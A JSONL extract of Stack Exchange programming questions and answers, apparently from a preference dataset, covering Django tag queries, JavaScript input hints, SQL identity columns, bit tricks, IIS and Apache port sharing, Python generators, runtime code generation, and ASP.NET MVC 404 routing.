%(model)s, %(tagged_item)s\n    WHERE %(tagged_item)s.content_type_id = %(content_type_id)s\n      AND %(tagged_item)s.tag_id IN (%(tag_id_placeholders)s)\n      AND %(model_pk)s = %(tagged_item)s.object_id\n    GROUP BY %(model_pk)s\"\"\" % {\n        'model_pk': '%s.%s' % (model_table, qn(model._meta.pk.column)),\n        'model': model_table,\n        'tagged_item': qn(self.model._meta.db_table),\n        'content_type_id': ContentType.objects.get_for_model(model).pk,\n        'tag_id_placeholders': ','.join(['%s'] * tag_count),\n    }\n\n    cursor = connection.cursor()\n    cursor.execute(query, [tag.pk for tag in tags])\n    object_ids = [row[0] for row in cursor.fetchall()]\n    if len(object_ids) > 0:\n        return queryset.filter(pk__in=object_ids)\n    else:\n        return model._default_manager.none()\n```\n```\nFor part #3 I believe you're looking for an intersection. See\nline 307 of models.py\n```\n```\ndef get_intersection_by_model(self, queryset_or_model, tags):\n    \"\"\"\n    Create a ``QuerySet`` containing instances of the specified\n    model associated with *all* of the given list of tags.\n    \"\"\"\n    tags = get_tag_list(tags)\n    tag_count = len(tags)\n    queryset, model = get_queryset_and_model(queryset_or_model)\n\n    if not tag_count:\n        return model._default_manager.none()\n\n    model_table = qn(model._meta.db_table)\n    # This query selects the ids of all objects which have all the\n    # given tags.\n    query = \"\"\"\n    SELECT %(model_pk)s\n    FROM %(model)s, %(tagged_item)s\n    WHERE %(tagged_item)s.content_type_id = %(content_type_id)s\n      AND %(tagged_item)s.tag_id IN (%(tag_id_placeholders)s)\n      AND %(model_pk)s = %(tagged_item)s.object_id\n    GROUP BY %(model_pk)s\n    HAVING COUNT(%(model_pk)s) = %(tag_count)s\"\"\" % {\n        'model_pk': '%s.%s' % (model_table, qn(model._meta.pk.column)),\n        'model': model_table,\n        'tagged_item': qn(self.model._meta.db_table),\n        'content_type_id': ContentType.objects.get_for_model(model).pk,\n        'tag_id_placeholders': ','.join(['%s'] * tag_count),\n        'tag_count': tag_count,\n    }\n\n    cursor = connection.cursor()\n    cursor.execute(query, [tag.pk for tag in tags])\n    object_ids = [row[0] for row in cursor.fetchall()]\n    if len(object_ids) > 0:\n        return queryset.filter(pk__in=object_ids)\n    else:\n        return model._default_manager.none()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.866891"}
{"id": "hf_13864bc016dc", "question": "<p>I want the search box on my web page to display the word \"Search\" in gray italics. When the box receives focus, it should look just like an empty text box. If there is already text in it, it should display the text normally (black, non-italics). This will help me avoid clutter by removing the label.</p>\n\n<p>BTW, this is an on-page <a href=\"http://en.wikipedia.org/wiki/Ajax_%28programming%29\" rel=\"noreferrer\">Ajax</a> search, so it has no button.</p>\n", "question_body": "", "answer": "You can add and remove a special CSS class and modify the input value\n```\nonfocus\n```\n/\n```\nonblur\n```\nwith JavaScript:\n```\n```\n<input type=\"text\" class=\"hint\" value=\"Search...\"\n    onfocus=\"if (this.className=='hint') { this.className = ''; this.value = ''; }\"\n    onblur=\"if (this.value == '') { this.className = 'hint'; this.value = 'Search...'; }\">\n```\n```\nThen specify a\nhint\nclass with the styling you want in your CSS for example:\n```\n```\ninput.hint {\n    color: grey;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.905480"}
{"id": "hf_a11780d37c53", "question": "<p>I want to add a <em>column</em> to an existing legacy <em>database</em> and write a <em>procedure</em> by which I can assign each record a different value. Something like adding a <em>column</em> and autogenerate the data for it.</p>\n\n<p>Like, if I add a new <em>column</em> called \"ID\" (number) I want to then initialize a unique value to each of the records. So, my ID <em>column</em> will have records from say <code>1 to 1000</code>.<br>\nHow do I do that?</p>\n", "question_body": "", "answer": "This will depend on the database but for SQL Server, this could be achieved as follows:\n```\n```\nalter table Example\nadd NewColumn int identity(1,1)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.931505"}
{"id": "hf_f50b4369e281", "question": "<p>As a novice, I've spent time learning a smattering of C and a fair bit of PHP. I've looked at writing desktop applications for Windows, but there seems to be a fair barrier to entry due to complexity of APIs. Is it worth learning this, or will native applications become less common in the future?</p>\n\n<p>The way I see it, the only desktop application I ever use is a web browser and a text editor as well as the obviously the OS itself. Everything I need is online now.</p>\n\n<p>Is learning to write non-web applications a useful skill going forwards? If so, what should I learn?</p>\n", "question_body": "", "answer": "You should learn whatever you\nwant\nto learn.  If you don't you'll probably find it harder going than you need to.\nI personally started writing desktop applications for Windows, because I used it at the time.  These days I do think that you're correct - you can produce a website / online-application without investing so much into the process.\nBut even writing a decent web application is going to be hard if you're new to programming.  A standalone page is simple, but when you add databases, security, and administration into the mix then things can grow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:32.969260"}
{"id": "hf_09d4ceed3f8e", "question": "<p>I come from the Microsoft world (and I come in peace). I want to rapidly prototype a web app and if it works out, take it live - and I don't want to use ASP.Net.</p>\n\n<p>I am not sure which web application toolkit to use though. Should I use GWT, DOJO...other recommendations?  I am open to any server-side language but am looking at RoR, Php or even Java (J2EE to be precise). I am not much of a Javascript/CSS guy so a toolkit that might make it relatively easy on me on those fronts would be preferable.</p>\n\n<p>Also, I am a mac user at home. What IDEs go along with the framework you would recommend?</p>\n\n<p>Any recommendations guys?</p>\n", "question_body": "", "answer": "If you're open to doing Java, GWT is the way to go. It allows you to have a relatively uniform codebase across client-server, and to only use one language on both.\nThere are some limitations to doing very off-the-beaten-path AJAXy things (which GWT makes difficult, but not impossible), but it doesn't sound like that's your use case anyway.\nGWT will allow you to scale up by using more of its features as your app gets more complex - and your prototype won't be throwaway code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.030761"}
{"id": "hf_97cab33a34ad", "question": "<p>I need a function like this:</p>\n<pre><code>// return true if 'n' is a power of 2, e.g.\n// is_power_of_2(16) =&gt; true  \n// is_power_of_2(3) =&gt; false\nbool is_power_of_2(int n);\n</code></pre>\n<p>Can anyone suggest how I could write this?</p>\n", "question_body": "", "answer": "A power of two will have just one bit set (for unsigned numbers). Something like\n```\n```\nbool powerOfTwo = !(x == 0) && !(x & (x - 1));\n```\n```\nWill work fine; one less than a power of two is all 1s in the less significant bits, so must AND to 0 bitwise.\nAs I was assuming unsigned numbers, the == 0 test (that I originally forgot, sorry) is adequate. You may want a > 0 test if you're using signed integers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.067164"}
{"id": "hf_ea37370ee40b", "question": "<p>What is the purpose of the code behind view file in ASP.NET MVC besides setting of the generic parameter of ViewPage ?</p>\n", "question_body": "", "answer": "There isn't a purpose. Just don't use it except for setting the model\n```\n```\nViewPage<Model>\n```\n```\nSee\nthis\nblogpost for more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.091772"}
{"id": "hf_d574ba5b7b18", "question": "<p>What are some good ways to do this? Is it even possible to do cleanly? </p>\n\n<p>Ideally I'd like to use packet headers to decide which server should handle requests. However, if there is an easier/better way let me know.</p>\n", "question_body": "", "answer": "I found\nthis post\nwhich suggested to have two separate IP addresses so that both could listen on port 80.\nThere was a caveat that you had to make a change in IIS because of socket pooling.  Here are the instructions based on the link above:\nExtract the\n```\nhttpcfg.exe\n```\nutility from the support tools area on the Win2003 CD.\nStop all IIS services:\n```\nnet stop http /y\n```\nHave IIS listen only on the IP address I'd designated for IIS:\n```\nhttpcfg set iplisten -i 192.168.1.253\n```\nMake sure:\n```\nhttpcfg query iplisten\n```\n(The IPs listed are the only IP addresses that IIS will be listening on and no other.)\nRestart IIS Services:\n```\nnet start w3svc\n```\nStart the Apache service", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.154112"}
{"id": "hf_b5734274fe85", "question": "<p>It's really annoying that visual studio hides typos in aspx pages (not the code behind).\nIf the compiler would compile them, I would get a compile error.</p>\n", "question_body": "", "answer": "Resharper will catch errors in code  ofASPX pages, all without compiling. works well imo, and better than later compiling.\nEDIT: Resharper also has a Solution wide error checker. 'Resharper->Windows->Errors in solution'. It will analyze your entire solution and give a consolidated list of everything it finds, INCLUDING aspx files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.230474"}
{"id": "hf_c038346cf08f", "question": "<p>At work we use Sandcastle for creation of help files. I have been using SandCastleGUI for some time and I'm looking for a way to create additional pages in the help file. \nThese pages are written in XML format called MAML. \nThe only problem is that I couldn't find any decent editor for these file format.</p>\n\n<p>I'm looking for a WYSIWYG editor to create &amp; edit additional documentation pages.</p>\n", "question_body": "", "answer": "You could use a generic XML editor with WYSIWYG support like\nOxygen\nor\nSerna\n. You would need a Xml Schema or DTD for MAML, I assume there is one somewhere in an SDK or such. Probably the harder part is that you would need a stylesheet that renders the XML to an display format that can be used by the editor to provide a WYSIWYG view of the document.\nIt works rather well for standard XML formats such as Docbook, but I don't know how easy it is to find/create the needed stylesheets for MAML. But generally there is no reason why it couldn't be done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.255343"}
{"id": "hf_62192d42df1b", "question": "<p>I'm planning to create a data structure optimized to hold assembly code. That way I can be totally responsible for the optimization algorithms that will be working on this structure. If I can compile while running. It will be kind of dynamic execution. Is this possible? Have any one seen something like this?</p>\n\n<p>Should I use structs to link the structure into a program flow. Are objects better?</p>\n\n<pre><code>struct asm_code {\n   int type;\n   int value;\n   int optimized;\n   asm_code *next_to_execute;\n } asm_imp;\n</code></pre>\n\n<p>Update: I think it will turn out, like a linked list.</p>\n\n<p>Update: I know there are other compilers out there. But this is a military top secret project. So we can't trust any code. We have to do it all by ourselves.</p>\n\n<p>Update: OK, I think I will just generate basic i386 machine code. But how do I jump into my memory blob when it is finished?</p>\n", "question_body": "", "answer": "It is possible. Dynamic code generation is even mainstream in some areas like software rendering and graphics. You find a lot of use in all kinds of script languages, in dynamic compilation of byte-code in machine code (.NET, Java, as far as I know Perl. Recently JavaScript joined the club as well).\nYou also find it used in very math-heavy applications as well, It makes a difference if you for example remove all multiplication with zero out of a matrix multiplication if you plan to do such a multiplication several thousand times.\nI strongly suggest that you read on the SSA representation of code. That's a representation where each primitive is turned into the so called three operand form, and each variable is only assigned once (hence the same Static Single Assignment form).\nYou can run high order optimizations on such code, and it's straight forward to turn that code into executable code. You won't write that code-generation backend on a weekend though...\nTo get a feeling how the SSA looks like you can try out the LLVM compiler. On their web-site they have a little \"Try Out\" widget to play with. You paste C code into a window and you get something out that is close to the SSA form.\nLittle example how it looks like:\nLets take this integer square root algorithm in C. (arbitrary example, I just took something simple yet non-trivial):\n```\n```\nunsigned int isqrt32 (unsigned int value) \n{\n    unsigned int g = 0;\n    unsigned int bshift = 15;\n    unsigned int b = 1<<bshift;\n    do {\n        unsigned int temp = (g+g+b)<<bshift;\n        if (value >= temp) {\n            g += b;\n            value -= temp;\n        }\n        b>>=1;\n    } while (bshift--);\n    return g;\n}\n```\n```\nLLVM turns it into:\n```\n```\ndefine i32 @isqrt32(i32 %value) nounwind  {\nentry:\n    br label %bb\n\nbb:     ; preds = %bb, %entry\n    %indvar = phi i32 [ 0, %entry ], [ %indvar.next, %bb ]      \n    %b.0 = phi i32 [ 32768, %entry ], [ %tmp23, %bb ]\n    %g.1 = phi i32 [ 0, %entry ], [ %g.0, %bb ]     \n    %value_addr.1 = phi i32 [ %value, %entry ], [ %value_addr.0, %bb ]      \n    %bshift.0 = sub i32 15, %indvar \n    %tmp5 = shl i32 %g.1, 1 \n    %tmp7 = add i32 %tmp5, %b.0 \n    %tmp9 = shl i32 %tmp7, %bshift.0    \n    %tmp12 = icmp ult i32 %value_addr.1, %tmp9      \n    %tmp17 = select i1 %tmp12, i32 0, i32 %b.0      \n    %g.0 = add i32 %tmp17, %g.1     \n    %tmp20 = select i1 %tmp12, i32 0, i32 %tmp9     \n    %value_addr.0 = sub i32 %value_addr.1, %tmp20           \n    %tmp23 = lshr i32 %b.0, 1       \n    %indvar.next = add i32 %indvar, 1       \n    %exitcond = icmp eq i32 %indvar.next, 16    \n    br i1 %exitcond, label %bb30, label %bb\n\nbb30:       ; preds = %bb\n    ret i32 %g.0\n}\n```\n```\nI know it looks horrible at first. It's not even pure SSA-Form. The more you read on that representation the more sense it will make. And you will also find out why this representation is so widely used these days.\nEncapsulating all the info you need into a data-structure is easy. In the end you have to decide if you want to use enums or strings for opcode names ect.\nBtw - I know I didn't gave you a data-structure but more a formal yet practical language and the advice where to look further.\nIt's a very nice and interesting research field.\nEdit: And before I forget it: Don't overlook the built in features of .NET and Java. These languates allow you to compile from byte-code or source code from within the program and execute the result.\nCheers,\n  Nils\nRegarding your edit: How to execute a binary blob with code:\nJumping into your binary blob is OS and platform dependent. In a nutshell you have invalide the instruction cache,\nmaybe\nyou have to writeback the data-cache and you may have to enable execution rights on the memory-region you've wrote your code into.\nOn win32 it's relative easy as instruction cache flushing seems to be sufficient if you place your code on the heap.\nYou can use this stub to get started:\n```\n```\ntypedef void (* voidfunc) (void);\n\nvoid * generate_code (void)\n{\n    // reserve some space\n    unsigned char * buffer = (unsigned char *) malloc (1024);\n\n    // write a single RET-instruction\n    buffer[0] = 0xc3; \n\n    return buffer;\n}\n\nint main (int argc, char **args)\n{\n    // generate some code:\n    voidfunc func = (voidfunc) generate_code();\n\n    // flush instruction cache:\n    FlushInstructionCache(GetCurrentProcess(), func, 1024);\n\n    // execute the code (it does nothing atm)\n    func();\n\n    // free memory and exit.\n    free (func);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.331849"}
{"id": "hf_c6e6969e9ef7", "question": "<p>I have a .z80 memory dump. How do I reverse engineer it? What do I need to know? How can I minimize manual labour?</p>\n", "question_body": "", "answer": "Most powerful disassembler -\nIDA\nsupports z80.\nAlso list of disassemblers published at \"\nSoftware Development Tools for Z80 Family\n\" page", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.395519"}
{"id": "hf_35dbe8b5f97c", "question": "<p>I've been using a small class to emulate Enums in some Python projects. Is there a better way or does this make the most sense for some situations?</p>\n\n<p>Class code here:</p>\n\n<pre><code>class Enum(object):\n'''Simple Enum Class\nExample Usage:\n&gt;&gt;&gt; codes = Enum('FOO BAR BAZ') # codes.BAZ will be 2 and so on ...'''\ndef __init__(self, names):\n    for number, name in enumerate(names.split()):\n        setattr(self, name, number)\n</code></pre>\n", "question_body": "", "answer": "Enums have been proposed for inclusion into the language before, but were rejected (see\nhttp://www.python.org/dev/peps/pep-0354/\n), though there are existing packages you could use instead of writing your own implementation:\nenum:\nhttp://pypi.python.org/pypi/enum\nSymbolType (not quite the same as enums, but still useful):\nhttp://pypi.python.org/pypi/SymbolType\nOr just do a search", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.485845"}
{"id": "hf_619d79469bca", "question": "<p>Can a cookie be shared between two sites on the same top level domain? Say <code>www.example.com</code> and <code>secure.example.com</code> ?\nWe are looking into implementing a cache for non-secure content, and need to segregate secure content to another domain.\nWhat parameters does the cookie need? I'm using asp.net</p>\n", "question_body": "", "answer": "Yes, you can. Use:\n```\n```\nResponse.Cookies(\"UID\").Domain = \".myserver.com\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.510647"}
{"id": "hf_5448ed03ce16", "question": "<p>Data:  a dependency list, already verified to be acyclic.  So here, 'a' depends on 'b','c' (c depends on d), etc...  </p>\n\n<pre><code>A = { 'a' :  dict(b=1, c=1),\n    'c' : dict(d=1),\n    'd' : dict(e=1,f=1,g=1),\n    'h' : dict(j=1)\n    }\n</code></pre>\n\n<p>I'd like to have a top-down, recursive solution to let's say, find the chain starting at \n'a':  a, c, d, e, g, f, b</p>\n\n<p>So, right now (a non-generator solution):</p>\n\n<pre><code>def get_all(D,k):\n    L = []\n    def get2(D,k):\n        L.append(k)\n        for ii in D.get(k,[]):\n            get2(D, ii)\n    get2(D,k)\n    return L\n</code></pre>\n\n<p>Obviously, this is pretty weak :)  I've been banging my head about how to how to get yields inside there, and I'd appreciate any py-foo y'all can bring to this.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n#!/usr/bin/env python\n\ndef get_all(D, k):\n    yield k\n    for ii in D.get(k, []):\n        for jj in get_all(D, ii):\n            yield jj\n\nA = { 'a' : dict(b=1, c=1),\n    'c' : dict(d=1),\n    'd' : dict(e=1,f=1,g=1),\n    'h' : dict(j=1)\n    }\n\nfor ii in get_all(A,'a'):\n    print ii\n```\n```\nGives me\n```\nsteve@rei:~/code/tmp\n$ python recur.py\na\nc\nd\ne\ng\nf\nb\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.551332"}
{"id": "hf_752775122195", "question": "<p>Considering the following architecture:</p>\n\n<ul>\n<li>a base object 'Entity'</li>\n<li>a derived object 'Entry:Base'</li>\n<li>and a further derived object 'CancelledEntry:Entry'</li>\n</ul>\n\n<p>In EntitySQL I can write the following: </p>\n\n<pre><code>[...] where it is of (only MyEntities.Entry) [...]\n</code></pre>\n\n<p>to return only objects of type Entry and no Entity or CancelledEntry.</p>\n\n<p>In linq to sql, the following command will return objects of type Entry and CancelledEntry. </p>\n\n<pre><code>EntityContext.EntitySet.OfType&lt;Entry&gt;()\n</code></pre>\n\n<p>What is the syntax/function to use to return only objects of type Entry?</p>\n", "question_body": "", "answer": "Ok, I have found a partial solution:\n```\n```\nEntityContext.EntitySet.OfType<Entry>().Where( obj => !(obj is CancelledEntry) )\n```\n```\nThis is quite awful however, since if I create a new derived object, I have to go in all the queries and specifically add a condition to remove it.\nThere has to be a better solution", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.577236"}
{"id": "hf_4bec55fbaefd", "question": "<p>I'm struggling with a problem with the Script.aculo.us Autocompleter control in IE (I've tried it in IE6 &amp; 7). The suggestions fail to appear for the first character is entered into the text box after the page has been loaded. After that initial failure, the control works as it should.</p>\n\n<p>I've verified that the suggestions data is returned from the server correctly; the problem appears to have something to do with the positioning of the suggestions element, as other relatively positioned elements on the page move out of position at the moment that you'd expect the suggestions to appear.</p>\n\n<p>Has anyone heard of such a problem or have any suggestions on how to fix it?</p>\n\n<p>Edit: In response to Chris, I have set the partialChars parameter to 1 and the control works in all the other browsers I've tried, which are the latest versions of Firefox, Safari, Opera, and Chrome. I should probably have made that clear in the first place. Thanks.</p>\n", "question_body": "", "answer": "Is your problem just in IE, or in all browsers?  Ignoring the first char is actually the default for the Autocompleter.  In controls.js, there's a class called Autocompleter.Local which has a field called partialChars which defaults to 2.  The docs for that field say:\n// - partialChars - How many characters to enter before triggering\n//                   a partial match (unlike minChars, which defines\n//                   how many characters are required to do any match\n//                   at all). Defaults to 2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.614286"}
{"id": "hf_86a405993135", "question": "<p>I want to create a box shape and I am having trouble.\nI want the box to have a background color, and then different color inside the box.<br>\nThe box will then have a list of items using ul and li, and each list item will have a background of white, and the list item's background color is too stretch the entire distance of the inner box.\nAlso, the list items should have a 1 px spacing between each one, so that the background color of the inside box color is visible.</p>\n\n<p>Here is a rough sketch of what I am trying to do:</p>\n\n<p><a href=\"https://i.stack.imgur.com/aZ2W7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aZ2W7.png\" alt=\"\"></a></p>\n", "question_body": "", "answer": "So if you have source:\n```\n```\n<div class=\"panel\">\n  <div>Some other stuff</div>\n  <ul>\n    <li>Item 1</li>\n    <li>Item 2</li>\n  </ul>\n</div>\n```\n```\nYou can use CSS:\n```\n```\ndiv.panel { background-color: #A74; border: solid 0.5em #520; width: 10em; \n            border-width: 0.75em 0.25em 0.75em 0.25em; }\ndiv.panel div { padding: 2px; height: 4em; }\ndiv.panel ul li { display: block; background-color: white; \n                      margin: 2px; padding: 1px 4px 1px 4px; }\ndiv.panel ul { margin: 0; padding-left: 0; }\n```\n```\nTo get the CSS to work properly (particularly on Internet Explorer), make sure you have an appropriate DOCTYPE definition in your document.  See\nw3c recommended doctypes\nfor a list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.651479"}
{"id": "hf_ff2c5c923b3e", "question": "<p>Is there a way of wrapping text in a non-rectangular container in WPF?</p>\n\n<p><a href=\"http://www.photoshopessentials.com/photoshop-text/text-effects/text-wrap/page-3.php\" rel=\"noreferrer\">Here is how it is done in photoshop</a></p>\n", "question_body": "", "answer": "Have you looked at the\nUIElement.Clip\nproperty?\nFor non-rectangular text wrapping, you could try setting a TextBlock.Clip property to a non-rectangular Geometry object. I haven't tried this; either it will not draw text outside the clip region or it will wrap text to fit within the clip.\nCharles Petzold\nmentions this technique\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.680293"}
{"id": "hf_086cbf6cd5e2", "question": "<p>There is a well-known debate in Java (and other communities, I'm sure) whether or not trivial getter/setter methods should be tested. Usually, this is with respect to code coverage.  Let's agree that this is an open debate, and not try to answer it here.</p>\n\n<p>There have been several blog posts on using Java reflection to auto-test such methods.</p>\n\n<p>Does any framework (e.g. jUnit) provide such a feature? e.g. An annotation that says \"this test T should auto-test all the getters/setters on class C, because I assert that they are standard\".</p>\n\n<p>It seems to me that it would add value, and if it were configurable, the 'debate' would be left as an option to the user.</p>\n", "question_body": "", "answer": "I'm not aware of any readily available library or class that does this. This may mainly be because I don't care as I am on the side of strongly opposing such tests. So even though you asked there\nmust\nbe a bit of justification for this view:\nI doubt that autotesting getters and setters benefit your code quality or your coverage: Either these methods are used from other code (and tested there, e.g. 100% covered) or not used at all (and could be removed). In the end you'll leave getters and setters in because they are used from the test but nowhere else in the application.\nIt should be easy to write such a test, e.g. with Apache Commons BeanUtils, but I doubt you really need it if you have good tests otherwise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.705115"}
{"id": "hf_6f4f1edd1baa", "question": "<p>Is there a good object-relational-mapping library for PHP? </p>\n\n<p>I know of <a href=\"http://www.php.net/manual/en/intro.pdo.php\" rel=\"noreferrer\">PDO</a>/ADO, but they seem to only provide abstraction of differences between database vendors not an actual mapping between the domain model and the relational model. I'm looking for a PHP library that functions similarly to the way <a href=\"http://en.wikipedia.org/wiki/Hibernate_%28Java%29\" rel=\"noreferrer\">Hibernate</a> does for Java and NHibernate does for .NET.</p>\n", "question_body": "", "answer": "Look into\nDoctrine\n.\nDoctrine 1.2\nimplements Active Record.\nDoctrine 2+\nis a DataMapper ORM.\nAlso, check out\nXyster\n. It's based on the Data Mapper pattern.\nAlso, take a look at\nDataMapper vs. Active Record\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.731701"}
{"id": "hf_387009c792e8", "question": "<p>I am redesigning a command line application and am looking for a way to make its use more intuitive.  Are there any conventions for the format of parameters passed into a command line application?  Or any other method that people have found useful?</p>\n", "question_body": "", "answer": "-operation [parameters] -command [your command] -anotherthings [otherparams]....\nFor example,\n```\n```\nYourApp.exe -file %YourProject.prj% -Secure true\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.770146"}
{"id": "hf_ef2f1e3b9674", "question": "<p>Do you still use session or entity EJBs in your project? Why?</p>\n", "question_body": "", "answer": "Yes, but EJB were stupidly complex for most use cases. Very clever, but real overkill in most cases. Hence the lightweight approach taken now-a-days.\nJustin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.808136"}
{"id": "hf_051188f2247b", "question": "<p>How would you define testing? In the interest of full disclosure, I'm posting this because I already have some answers I like.</p>\n", "question_body": "", "answer": "“Testing is the process of comparing the invisible to the ambiguous, so as to avoid the unthinkable happening to the anonymous.”–\nJames Bach\nIt sounds funny, but if you parse out each word, it's right on the money.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.833805"}
{"id": "hf_4b336cc7f15c", "question": "<p>How can I Handler 404 errors without the framework throwing an Exception 500 error code?</p>\n", "question_body": "", "answer": "http://jason.whitehorn.ws/2008/06/17/Friendly-404-Errors-In-ASPNET-MVC.aspx\ngives the following explanation:\nAdd a wildcard routing rule as your final rule:\n```\n```\nroutes.MapRoute(\"Error\", \n                \"{*url}\", \n                new { controller = \"Error\", action = \"Http404\" });\n```\n```\nAny request that doesn't match another rule gets routed to the Http404 action of the Error controller, which you also need to configure:\n```\n```\npublic ActionResult Http404(string url) {\n    Response.StatusCode = 404;\n    ViewData[\"url\"] = url;\n    return View();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:33.871497"}
